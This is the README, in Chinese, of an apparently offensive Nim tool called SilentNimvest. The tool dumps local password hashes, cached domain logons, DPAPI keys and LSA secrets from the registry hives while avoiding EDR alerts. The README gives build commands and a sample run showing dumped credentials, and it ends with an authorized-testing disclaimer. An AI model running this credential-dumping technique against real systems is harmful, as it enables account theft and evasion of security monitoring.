基本上,SilentNimvest 是一个用 Nim 编写的 SAM 和安全配置单元解析器。SilentNimvest 通过使用 Silent Harvest 技术读取这些配置单元下的键。利用此技术,普通管理员账户(无需 SYSTEM 级别权限)只需启用 SeBackupPrivilege(得益于 NtOpenKeyEx 标志),即可转储本地用户的哈希、缓存的域登录信息、LSA 机密以及其他可从这些配置单元中获取的机密,且使用的是较少触发 EDR 警报的注册表读取 API RegQueryMultipleValuesW。
整个项目基于 sud0ru 的研究。
你可以使用以下命令直接编译源代码:
nim c -d:release -o:SilentNimvest.exe Main.nim
如果遇到错误“无法打开文件”,你还应安装所需的依赖项:
nimble install winim nimcrypto checksums des
SilentNimvest 可以直接从提升权限的管理员终端执行,无需任何必需参数。
PS C:\Users\test\Desktop\SilentNimvest> .\SilentNimvest.exe
__ _ _ _ __ _ _
/ _(_) | ___ _ __ | |_ /\ \ (_)_ __ _____ _____ ___| |_
\ \| | |/ _ \ '_ \| __|/ \/ / | '_ ` _ \ \ / / _ \/ __| __|
_\ \ | | __/ | | | |_/ /\ /| | | | | | \ V / __/\__ \ |_
\__/_|_|\___|_| |_|\__\_\ \/ |_|_| |_| |_|\_/ \___||___/\__|
@R0h1rr1m
[!] Trying to parse SAM Related Credentials (Local Users)
[*] Local User RID: 500 - Administrator - aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0
[*] Local User RID: 501 - Guest - aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0
[*] Local User RID: 503 - DefaultAccount - aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0
[*] Local User RID: 504 - WDAGUtilityAccount - aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0
[*] Local User RID: 1001 - zoro - aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0
[!] Trying to parse Security Related Credentials (Cached Domain Logon Info, Machine Account and LSA Secrets)
[*] DPAPI Keys: dpapi_machinekey: ea31d6cfe0d16ae931b73c59d7e0c089c037b & dpapi_userkey: 44431d6cfe0d16ae931b73c59d7e0c089c0d0
[*] NL$KM: 1f31d6cfe0d16ae931b73c59d7e0c089c031d6cfe0d16ae931b73c59d7e0c089c031d6cfe0d16ae931b73c59d7e0c089c0c01
[*] Plaintext User from _SC_Backupservice: .\zoro:SilentNimvest
仅用于授权的安全测试。未经明确许可将此工具用于系统是违法的。